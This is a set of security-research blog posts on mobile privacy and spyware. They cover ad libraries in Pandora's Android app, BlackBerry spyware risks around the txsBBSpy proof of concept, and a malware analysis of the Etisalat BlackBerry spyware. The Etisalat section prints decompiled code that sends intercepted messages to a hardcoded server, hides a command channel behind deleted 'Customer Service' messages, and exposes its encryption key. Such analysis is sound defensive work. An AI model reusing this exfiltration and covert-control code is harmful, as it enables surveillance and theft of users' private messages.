The blog post we made earlier this week entitled, Mobile Apps Invading Your Privacy, gives detail around the information being requested by the advertisement libraries embedded inside a popular online radio application. There have been a number of great posts and comments that got us thinking more about the issues and the types of data being requested.

First off we want to thank some people who commented about the Pandora application not having permission to actually access the GPS on the device. Below are the Manifest permissions for the version of Pandora currently in the Google Application Marketplace:

• Full Internet Access
• Create Bluetooth Connections
• Read Contact Data
• Add or Modify Calendar Data and Send Emails to Guests
• Read Phone State and Identity
• Modify Global System Settings
• Prevent Device from Sleeping
• Bluetooth Administration
• Change Wifi State
• Change Network Connectivity

As you can see, GPS access is NOT included in that list. There was an error in the original post we made stating that some of the library code was requesting permissions from the Google system for GPS access, and as the commenter pointed out, that is incorrect. The code snippet we posted is only checking whether the parent application, Pandora in this case, has permission to access the GPS. If the parent does not have permission, the accessing of GPS data can’t occur.

However, the overarching theme of the original post is still valid. If Pandora had required GPS access for a legitimate reason, the embedded advertisement library would have been able to request the GPS data and send it off device. As we mentioned in the original post, there is a chance that Pandora has no idea what the embedded advertising library actually does, simply taking it from the advertising partner and embedding it into their application.

To further illustrate this point, we downloaded a few more applications that use some of the same advertising libraries. In particular, we found AdMob (the code snippets we outlined on the previous post) embedded into the free CBS News Android application and the TVDotCom application. Both of these applications have GPS coarse and fine permissions allowed within their application manifest. They don’t have some of the other permissions required to send certain data, but in these cases the advertising code will fail silently. Essentially, the advertising libraries use the parent application as an enabler, taking advantage of whichever permissions happen to be available. It also seems revelant to note that AdMob was acquired by Google in May 2010.

The current model where permissions are granted to applications combined with the way 3rd party libraries such as mobile ad network libraries request many different types of information sets up a situation where the ad network will get the information if the application needs it to operate.

Veracode Security Solutions

Security Threat Guides

Background

An article in the Wall Street Journal, dated April 5, 2011, disclosed that Federal prosecutors in New Jersey are investigating numerous smart phone application manufacturers for allegedly, illegally obtaining and distributing personal private information to third party advertisement groups. The allegations state that mobile applications are gathering data such as GPS location, device identifiers, gender, and even user age without proper notice or authorization from the end user. The Journal tested 101 applications and found that 56 of them transmitted the device unique identifier off the device, while 47 transmitted the phone’s location. Five of the tested applications leaked personal information such as user gender and age.

Analysis

The folks at the Veracode research team decided to spend a bit of our time today breaking apart one of the accused applications to see what could be found within the code. Given what was written in the Journal article, we thought it would be most interesting to take an in-depth look through the Pandora application for the Android platform. A quote from the article states the following about the Pandora application:

In Pandora’s case, both the Android and iPhone versions of its app transmitted information about a user’s age, gender, and location, as well as unique identifiers for the phone, to various advertising networks. Pandora gathers the age and gender information when a user registers for the service.

Our first step was to analyze the application using the Veracode platform. We followed up the automated static analysis with a manual analysis of the compiled dex code. The results were fairly interesting. The Pandora for Android application appears to be integrated with a number of advertising libraries. Specifically we found FIVE (yes that’s FIVE!) advertisement libraries compiled into the application: AdMarvel, AdMob, comScore (SecureStudies), Google.Ads, and Medialets. Looking even closer, we analyzed each of the modules to determine the type of data they access.

The first library we decided to break apart was the AdMarvel and AdMob libraries. The AdMarvel library references the AdMob library fairly significantly. AdMob in particular accesses the GPS location, application package name, and application version information. Additionally there were variable references within the ad library that appear to transmit the user’s birthday, gender, and postal code information. The code snippets below are taken from a decompilation of the AdMob library where GPS locations are being gathered. As you can see in the code, the library requests permissions for both COARSE_LOCATION, and FINE_LOCATION data:

public static Location getCoordinates(Context unknown)
{
.... SNIP ....
        String str1 = "android.permission.ACCESS_COARSE_LOCATION";
        int m = unknown.checkCallingOrSelfPermission(str1);
.... SNIP ....
        String str2 = "android.permission.ACCESS_FINE_LOCATION";
        int n = unknown.checkCallingOrSelfPermission(str2);

We can also see where the library actually attempts to capture GPS location information on a continuous looping mechanism:

        int i4 = Log.d("AdMobSDK", "Trying to get locations from GPS.");
        localObject2 = (LocationManager)unknown.getSystemService("location");
        if (localObject2 == null) break label428;
        Criteria localCriteria = new Criteria();
        localCriteria.setAccuracy(1);
        localCriteria.setCostAllowed(0);
        localObject3 = ((LocationManager)localObject2).getBestProvider(localCriteria, 1);
.... SNIP ....
        int i5 = Log.d("AdMobSDK", "Cannot access user's location.  Permissions are not set.");
.... SNIP ....
        int i6 = Log.d("AdMobSDK", "No location providers are available.  Ads will not be geotargeted.");
.... SNIP ....
        if (Log.isLoggable("AdMobSDK", 3)) int i7 = Log.d("AdMobSDK", "Location provider setup successfully.");
        AdManager.1 local1 = new AdManager.1((LocationManager)localObject2);
        Looper localLooper = unknown.getMainLooper();
        ((LocationManager)localObject2).requestLocationUpdates((String)localObject3, 0L, 0.0F, local1, localLooper);

We also saw references to the user’s gender:

        Object localObject = k; Gender localGender1 = Gender.MALE;
        if (localObject == localGender1)
       {
            localObject = "m";
       } while (true) {
      return localObject;

      Gender localGender2 = k;
      Gender localGender3 = Gender.FEMALE;
      if (localGender2 == localGender3) { localObject = "f"; continue; }
      localObject = null;

And of course, access of the infamous Android ID value (android_id):

      if (f == null) { Object localObject1 = unknown.getContentResolver();
      localObject2 = localObject1;
      localObject1 = Settings.Secure.getString((ContentResolver)localObject2, "android_id");

The analysis into the remaining libraries resulted in even more of the same. The SecureStudies library accesses the android_id and directly sends a hash of the data to http://b.scorecardresearch.com while the Medialets library accesses the device’s GPS location, bearing, altitude, android_id, connection status, network information, device brand, model, release revision, and current IP address.

Conclusion

So what does this mean to the end user? It means your personal information is being transmitted to advertising agencies in mass quantities. As more and more “free” applications attempt to monetize their offerings, we will likely see more of your personal information being shuttled out to marketing and advertising data aggregation firms. The application developers may not even be aware of the privacy violations they are introducing by using third party advertising libraries. They may merely think they are getting $x per ad impression, not that the ad library is leaking significant information about the user.

In isolation some of this data is uninteresting, but when compiled into a single unifying picture, it can provide significant insight into a persons life. Consider for a moment that your current location is being tracked while you are at your home, office, or significant other’s house. Couple that with your gender and age and then with your geolocated IP address. When all that is placed into a single basket, it’s pretty easy to determine who someone is, what they do for a living, who they associate with, and any number of other traits about them. I don’t know about you, but that feels a little Orwellian to me.

Veracode Security Solutions

Security Threat Guides

At CanSecWest security conference this week, iPhone, Firefox, Safari, and other mobile operating systems and browsers were proven vulnerable to zero day exploitation. (The Register Article). Many people have expressed to me that txsBBSpy doesn’t actually have an infection vector and that mobile devices are secure from attack. I think the results of Pwn2Own clearly demonstrate otherwise. Mobile devices are just as insecure, if not more so than the standard desktop system. What makes it even more dangerous is that researchers who sell their exploits can get between 10K$ and 115K$ depending on the specifics of the flaw. That’s no longer chump change! Why would any researcher have any incentive at all to disclose the flaw responsibly given the big dollars that can be made by selling to a broker.

The only thing really limiting researchers from selling their flaws on the open market is the threat of incarceration. Jeremy Jethro was sentenced this week to three years probation and 10K$ in fines for selling exploit code to hacker Albert Gonzalez who in turn used the code in hacking companies and stealing 90 million credit card and debit card numbers. Gonzalez paid Jethro 60$K for the exploit while Jethro had no indication that Gonzalez intended to use the exploit code in any illegitimate way. Had this gone to court, the precedent that could have been set here is astonishing. Luckily this case was a plea bargain, otherwise the selling of exploit code would essentially be criminalized and we wouldn’t be sure to what degree this really impacts the researcher. If a researcher were to sell his exploit code to ZDI and then ZDI somehow accidentally leaks the code that is then used in an attack, who is to blame and who pays the fines/jail time? If a researcher sells his code to an independent broker who then resells the code to a criminal, who is left holding the legal bag? We do know this much.. it’s dangerous and potentially illegal to sell exploit code that is then used in a crime regardless of your knowledge of the crime. Everything else is still shades of grey.

What does this mean for mobile based Spyware? It means that those vulnerable phone operating systems and browsers are likely to get exploited with previously unknown vulnerabilities and spyware like mine is likely to be the resulting payload. Welcome to the era of malicious mobile attacks.

Veracode Security Solutions

Veracode Security Threat Guides

The article I’m referring to is Mobile security: Hackers kept at bay by lack of a standard platform. The article does not directly reference my presentation, but it does make some points that just don’t make sense. The first half of the article has some expert commentary that is cause for concern, while the second half raises interesting questions that bolster my arguments.

In the first half of the article, the author turned to Candid Wueest, senior threat researcher at Symantec, for comments on monocultures in the arena of mobile malware, ease of malware creation, and the safety of downloading applications from the device manufacturers application marketplace.

As long as smartphone users download applications only through authorised, moderated channels, he argues, they can be confident their mobile platform will limit the actions these applications can perform.

This is absolutely not true. I showed in my presentation examples of spyware that has already been discovered sourcing from so called “authorized, moderated channels” such as the Google Android Marketplace and the Apple iTunes store. This is exactly the type of false sense of security that is coming from the “authorized” marketplaces and trickling down to the consumer. In this instance we see the level of trust that even a subject matter expert is giving to the mobile application stores to provide only secure and trusted applications. Until the application store operators become transparent with their procedures and policies regarding the security of applications they make available, the above statement only makes the problem worse.

“At the same time, he adds, relatively few hackers have the in-depth skills and understanding necessary to create viruses capable of targeting a specific mobile platform.”

Programming, specifically Java, is not my daily job. It’s not what I do day in and day out. I am far from an expert with in-depth skills when it comes to writing mobile malware, yet it didn’t take me all that long to figure it out. I went from zero blackberry knowledge to programming a fully functional piece of spyware within a month or two. I’d say that it doesn’t really take “in-depth skills and understanding” to create malware capable of targeting a specific mobile platform.

“A monoculture is far more helpful to virus writers, so while we’ve seen 4m viruses, worms and trojans attack Windows, we’ve seen only 400 kinds of malware aimed at mobile platforms,” he says.

While I agree that a monoculture is far more helpful to virus writers, it’s not like we are dealing with a culture that has 100+ different options. If you target iPhone and Blackberry alone you would get a huge percentage of the US market, and if you throw in Symbian you cover a good chunk of Europe as well. We also have to consider the amount of time that people have kept sensitive data on Windows systems and how long they have kept that same data on their smartphones. Smartphones have really come into vogue as miniature computing systems in the last year or two, while full service computing systems have been around for ages.

I’m not suggesting that the mobile apocalypse is coming in 2010. What I am suggesting is that 2010 will see a notable increase in the amount of malware created and propagated via the mobile application store fronts such as iTunes, Blackberry App Center, and the Google Android Marketplace. The data is migrating to the hand held, so will the cyberattacks.

Veracode Security Solutions

Security Threat Guides

Q: This isn’t a real hack, is it? Tyler’s program is similar to many applications already on the market.

We’ve tried to make it clear from the beginning that txsBBSpy is a demonstration of public, documented APIs and should not be considered a hack, an exploit, or a vulnerability in the BlackBerry OS or infrastructure. There are many commercial apps, including FlexiSpy, SmrtGuard, Mobile Spy, and others, all of which utilize the same BlackBerry APIs. But these apps must be purchased, and they’re only available in compiled form.

What’s notable about txsBBSpy is that we’ve released source code to demonstrate how the application works. This serves as an educational resource as well as an eye-opener showing how simple it is to implement malicious functionality.

Q: Is the spyware risk unique to BlackBerry?

Not at all, it’s just the platform we decided to research. Similar work has been done on other mobile platforms such as iPhone, including this presentation from Nicolas Seriot delivered at BlackHat 2010 in Washington, DC last week. His proof-of-concept application, SpyPhone, takes the same approach as txsBBSpy by demonstrating what can be accomplished using public APIs. Any mobile platforms that can run third-party applications have similar risks.

Q: Wouldn’t you still have to trick a human into installing the spyware?

Yes, but this doesn’t negate the risk. Consider the parallel in the PC world. People inadvertently install spyware on their computers because they wanted a cool toolbar or because some message told them they were supposed to. Users make bad choices. If they didn’t, we wouldn’t have a multi-billion dollar anti-virus industry.

The same risks apply to mobile devices. People will install applications. It’s fair enough to say that most users wouldn’t install an app called txsBBSpy, but many would happily download a game featuring dancing bears. All joking aside, there is nothing to prevent an otherwise legitimate program from including unadvertised, malicious functionality. What assurances do you have that the Twitter client, RSS aggregator, or video game that you installed on your BlackBerry isn’t also stealing your emails or intercepting your text messages? Case in point, the Etisalat spyware would have gone completely unnoticed had it not been for a poorly architected “phone home” routine.

Q: RIM requires all apps to be signed. Doesn’t that protect against the spyware risk?

Not at all. It’s a minor hurdle at best. Anyone with $20 and a name (doesn’t have to be your actual name) can get a code signing key. There are plenty of ways to obtain a key anonymously, if you think hard enough; Tyler alluded to a couple during his ShmooCon presentation.

Once a developer has a key, he simply submits a SHA-1 hash of the .cod file to RIM, who will respond back with a RIM signature which gives the application permission to use the requested controlled APIs at runtime. RIM never receives the source code or the compiled application, so they have no way of inspecting its functionality. Further, there is no revocation list for malicious applications. If a developer releases a malicious application, RIM can refuse to sign his apps in the future, but they can’t prevent an app from running once it’s been signed, nor can they prevent the developer from obtaining another anonymous key and creating additional code any time he wants.

Q: Isn’t this whole thing overblown, since BlackBerry users can set permissions for each app they install?

The BlackBerry OS does provide granular controls for application permissions that are configurable by the user. Access to connections, interactions, and user data are split into about 20 categories, each of which can be set to Allow, Deny, or Prompt. The problem is that most users don’t take advantage of these features. According to a Trend Micro survey of 1,016 U.S. smartphone users in June 2009, only 23% of smartphone owners use the security software installed on the devices. During a webinar we held earlier today, we posed this question to attendees: “Do you enable application level security for each application on your BlackBerry device?” Only 15% of attendees answered yes, and that’s for a technical audience. I’d assume the number would be well below 15% across a representative sampling of BlackBerry users.

The other misconception around application permissions is that you’ll always be prompted before the application can access any user data. In reality, the DEFAULT application permissions in both the 4.x and 5.0 BlackBerry OS allow third-party applications to access emails, organizer data (contacts, etc.), files, device settings, media, and many other categories without prompting. Tyler’s slide deck provides a complete listing of default permissions for third-party apps.

Now, the defaults are already pretty loose, but the OS is even more permissive for applications that have been granted “trusted” status. At installation time, the user is asked “Is this a trusted application?” and if they answer “Yes”, the application is given even greater freedom to access phone connections, location data, the Internet, and more, without further prompting. Users don’t think twice about granting trusted access because they hate being inconvenienced by prompts every time the app wants to do something. How does a user know whether or not it’s safe to give an application trusted status?

Q: Aren’t enterprise users immune to spyware, due to BES features that prevent unwanted applications from being installed?

IT Policies on the BlackBerry Enterprise Server (BES) can be configured to restrict which third-party apps employees can install, but this raises a similar question: how does the IT staff know whether or not to whitelist an application? They have no way to objectively assess whether they should trust the application.

Q: Don’t the mobile app stores already screen applications for spyware before making them available for download?

The app stores have a unique opportunity to screen submitted applications for malicious behavior, but none of them have come out publicly saying that they do so. There are several references in Tyler’s presentation of malicious apps that have been accepted into various mobile app stores, so we know that the screening processes are not rigorous. Anecdotally, we know that RIM is concerned mostly with ensuring that third-party applications do not crash the operating system. From media reports, we know that the iTunes App Store is concerned with profanity, supposed “misuse” of Apple trademarks, and apparently even mentioning the names of other handsets (but harvesting phone numbers is fine).

The intersection of bad user behavior and app store inaction creates a target rich environment for malicious mobile applications.

Veracode Security Solutions

Veracode Security Threat Guides

Tyler Shields gave a presentation earlier today at ShmooCon 2010 on the threats of mobile spyware, particularly as it relates to data privacy. Smart phones and mobile applications have grown tremendously popular over the past couple of years, and it seemed like an appropriate time to raise awareness of what these applications are capable of.

Our goal was to demonstrate how BlackBerry applications can access and leak sensitive information, using only RIM-provided APIs and no trickery or exploits of any sort. We make no assumptions about how the malicious application will be installed on the phone, and we haven’t attempted to sneak a malicious application into BlackBerry App World. BlackBerry apps can be installed from any location, plus, there are so many examples of malware slipping through the screening processes of the various app stores (Apple, Symbian, Android, etc.) that we didn’t find it necessary to prove the point again. To some degree, official app stores give users a false sense of security because people will assume that everything in the store must be trustworthy.

Here’s a video that demonstrates the features of Tyler’s proof-of-concept spyware. We show how it can be used to dump contacts and messages, intercept text messages, eavesdrop on the room, report on phone usage, and monitor GPS data. To view this in HD resolution, click through to Vimeo and use full screen mode for best results.

We’re also releasing source code. As far as we know, this is the first public release of source code that demonstrates such a broad range of malicious functionality on a BlackBerry device. Code reviewers and security practitioners can use it as an educational resource to help them recognize malicious behavior and understand the specific risks introduced. This is an important educational asset for those of us working to create more secure software. As for the bad guys, it would be naive to think that they don’t already know how to do this stuff. The code doesn’t go out of its way to be stealthy; in fact, it’s quite the opposite (by design).

Here are the goods:

Slides: Blackberry Mobile Spyware — The Monkey Steals the Berries
Source: txsBBSpy.java

So how can users protect themselves? There are a few places to defend against malware of this nature.

1. Users can configure their default application permissions to be more restrictive. This way, if an application tries to use an API that accesses the user’s email or contact list, the OS will ask for permission. Avoid granting applications “trusted application” status, which grants untrusted applications additional privileges. Tyler’s slide deck shows the default and trusted permission sets in more detail.
2. Corporations using a BlackBerry Enterprise Server can configure their IT policies to restrict their users from installing third-party applications, or whitelist certain approved applications (but brace yourself for the backlash)
3. BlackBerry App World could introduce a rigorous security screening process that submitted applications must pass in order to be listed in the store.

If app stores don’t provide any security testing, the risk reduction responsibility falls to the enterprise. We recommend creating an approved list of applications that have undergone security testing.

Finally, it should be noted that while we chose BlackBerry for our proof-of-concept, this is not just a BlackBerry problem. All mobile platforms provide similar mechanisms for writing applications that have access to the user’s personal, potentially sensitive information. As consumers become increasingly dependent on their mobile devices, we are certain to see an uptick in the volume and sophistication of mobile malware.

Veracode Security Solutions

Veracode Security Threat Guides

I couldn’t agree more that we may be missing an opportunity to bring whitelisting to these new important mobile platforms. We need to leave the “detect and revoke” mentality of the PC world behind as we move to new platforms. Attackers are able to game the PC antivirus model by continuously flooding the software ecosystem with new unknown malware. The attackers will win in the mobile world too if we don’t change it. The mobile app store is a form of whitelisting that can assure the security of an entire platform if the whitelisting means something. That is if the apps are tested for security before being published.

Veracode is being asked by large financial organizations to build security testing into internal mobile app stores. There is obviously a desire for security screened applications in the corporate and government world. Why not just scan once at the platform provider’s app store and give the benefits to all?

Veracode researcher Tyler Shields is presenting 2/7/2010 at Shmoocon on Blackberry malicious mobile code. The presentation and sample code will be available here.

Veracode Security Solutions

Veracode Security Threat Guides

Watch the webinar:

Veracode Security Solutions

Security Alternatives

Security Threat Guides

We’re not sure why the software was delivered in both .jar and .cod form. The .cod file is a RIM proprietary format that contains the compiled Java classes along with a signature. Therefore it’s not even necessary to send the .jar, but they did, completely unobfuscated. Arrogance or incompetence? Here’s what’s inside:

$ jar tvf Registration.jar
     0 Sat Jul 04 18:52:00 EDT 2009 META-INF/
   447 Sat Jul 04 18:52:00 EDT 2009 META-INF/MANIFEST.MF
 18732 Sat Jul 04 18:52:00 EDT 2009 Registration.cod
    91 Sat Jul 04 18:52:00 EDT 2009 Registration.csl
   183 Sat Jul 04 18:52:00 EDT 2009 Registration.cso
     0 Sat Jul 04 18:52:00 EDT 2009 com/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/
 10857 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Commands.class
  2388 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Constants.class
  1056 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Log.class
   935 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main$1.class
  3479 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main.class
  4137 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/MsgOut.class
  5975 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Recv.class
 16133 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Send.class
  2988 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/StatusChange.class
  6462 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Transmit.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/
  3465 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/HTTPDeliver.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/
  7370 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTP.class
  3285 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTPHeader.class
  3871 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/SocketBase.class
  1273 Sat Jul 04 18:52:00 EDT 2009 Interceptor.class

These classes implement the various hooks:

• The Recv class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.event.StoreListener, allowing it to hook folder and message store updates. It’s installed using addFolderListener().
• The Send class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.SendListener, allowing it to hook folder updates and outbound messages. It’s not installed as a listener via addSendListener(), though it’s used explicitly to forward messages later on.
• The StatusChange class implements net.rim.device.api.system.RadioStatusListener and net.rim.device.api.system.GlobalEventListener, allowing it to hook radio events such as a change of network. It’s installed using addRadioListener() and addGlobalEventListener(), and all it really does is remove and re-register the Recv listener when certain network events occur.

Whenever a message is received on the device, the Recv class first inspects it to determine if it contains an embedded command — more on this later. If not, it UTF-8 encodes the message, GZIPs it, AES encrypts it using a static key (“EtisalatIsAProviderForBlackBerry”), and Base64 encodes the result. It then adds this bundle to a transmit queue. The main app polls this queue every five seconds using a Timer, and when there are items in the queue to transmit, it calls this function to forward the message to a hardcoded server via HTTP (see below). The call to http.sendData() simply constructs the POST request and sends it over the wire with the proper headers.

private boolean queueHTTP(boolean is_registration)
{
  boolean result = false;
  StringBuffer url = new StringBuffer();
  StringBuffer buf = new StringBuffer();
  url.setLength(0);
  url.append("http://10.116.3.99:7095/bbupgr");
  if(is_registration)
    url.append("/register");
  else
    url.append("/store");
  buf.setLength(0);
  buf.append("");
  if(is_registration)
    buf.append("regbb@etisalat.ae");
  else
    buf.append("etisalat_upgr@etisalat.ae");
  buf.append("");
  buf.append("\r\n");
  buf.append("");
  buf.append(subj);
  buf.append("");
  buf.append("\r\n");
  buf.append("");
  buf.append(body);
  buf.append("");
  String final_buf = encodeMsg(buf.toString(), true);
  for(int i = 0; i < max_tries; i++)
  {
    HTTPDeliver http = new HTTPDeliver(log);
    result = http.sendData(url.toString(), final_buf, true);
    if(!is_registration);
    if(result)
      return result;
    try
    {
      Thread.sleep(30000L);
    }
    catch(InterruptedException iex) { }
  }

  return result;
}

Let's get back to that part about embedded commands. The first thing that the Recv class does is check to see if there's an embedded command in the received message. The first check is actually inactive due to a conditional that will always evaluate to false. If I had to guess I would say that conditional was originally used to check the origin of the message against two BlackBerry device PINs -- that's a guess based on the fact that the strings look similar to the device PIN format. If this code path were enabled, any message with a subject containing "cmd_mail" would be passed off to a command handling routine. If the subject also contained "XXX", it meant the body was encrypted.

if("206789ea".length() < 1 && "205b04e4".length() < 1)
{
  if(subject != null && subject.indexOf("cmd_mail") != -1)
  {
    String body = msg.getBodyText();
    if(body != null)
      if(subject.indexOf("XXX") != -1)
        cmds.encryptedCmd(log, sender, body);
      else
        cmds.interpCmdBuffer(log, sender, body);
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    return;
  }
}

Since that section will never run, we move on to the else clause. Here, we see that if the sender name and address match "Customer Service" and the message was PIN-based (as opposed to email based) the body of the message will be treated as an encrypted command packet and the message will be instantly discarded. It's unclear if it will momentarily appear in the user's Inbox, but even if it does, it won't be there for long.

else
{
  String fpin = null;
  String fnam = null;
  try
  {
    Address from = msg.getFrom();
    if(from != null)
    {
      fpin = from.getAddr();
      fnam = from.getName();
    }
  }
  catch(Exception e) { }
  if(fpin != null && fnam != null && fpin.equalsIgnoreCase("Customer Service") && fnam.equalsIgnoreCase("Customer Service") && cmds.msgIsPIN(msg))
  {
    String body = msg.getBodyText();
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    if(body != null)
      cmds.encryptedCmd(log, sender, body);
    return;
  }
}

The encryptedCmd() function parses the body of the command packet by extracting anything that looks like a PGP signature block, that is, the chunk of text delimited by the strings "-----BEGIN PGP SIGNATURE-----" and "-----END PGP SIGNATURE-----". It then Base64 decodes the body and AES decrypts it using an AES key based on the device PIN. It then parses the command packet, which is an XML-like structure. It doesn't seem to execute arbitrary commands, just packages up device information such as IMEI, IMSI, phone number, etc. and sends it back to the central server, the same way it does for received messages. It also provides a way to remotely enable/disable the spyware itself using the commands "start" and "stop". Just for fun, here's the key generation routine used to encrypt these command packets to a specific device. The keyString variable is the hex-encoded form of whatever is returned by the RIM API call DeviceInfo.getDeviceId():

public static byte[] generateKey(String keyString, int keylen)
{
  byte buf[] = new byte[keylen];
  Arrays.fill(buf, (byte)0);
  byte key[] = keyString.getBytes();
  int srcbytes = key.length;
  int n = srcbytes;
  if(n < keylen)
    n = keylen;
  int keyoffset = 0;
  int i = 0;
  int j = 0;
  for(; i < n; i++)
  {
    int pos = i % srcbytes;
    buf[j++] ^= key[pos] + keyoffset;
    if(pos == srcbytes - 1)
      keyoffset += 23;
    if(j % keylen == 0)
      j = 0;
  }

  return buf;
}

The most alarming part about this whole situation is that people only noticed the malware because it was draining their batteries. The server receiving the initial registration packets (i.e. "Here I am, software is installed!") got overloaded. Devices kept trying to connect every five seconds to empty the outbound message queue, thereby causing a battery drain. Some people were reporting on official BlackBerry forums that their batteries were being depleted from full charge in as little as half an hour.

The final thing to mention is that the spyware does appear to be installed in a non-running state by default, where it's not actually exfiltrating data once the initial registration packet has gone out. However, using the command and control mechanism we described earlier, the carrier can remotely start/stop the service at will on a per-device basis.

Veracode Security Solutions

Veracode Security Threat Guides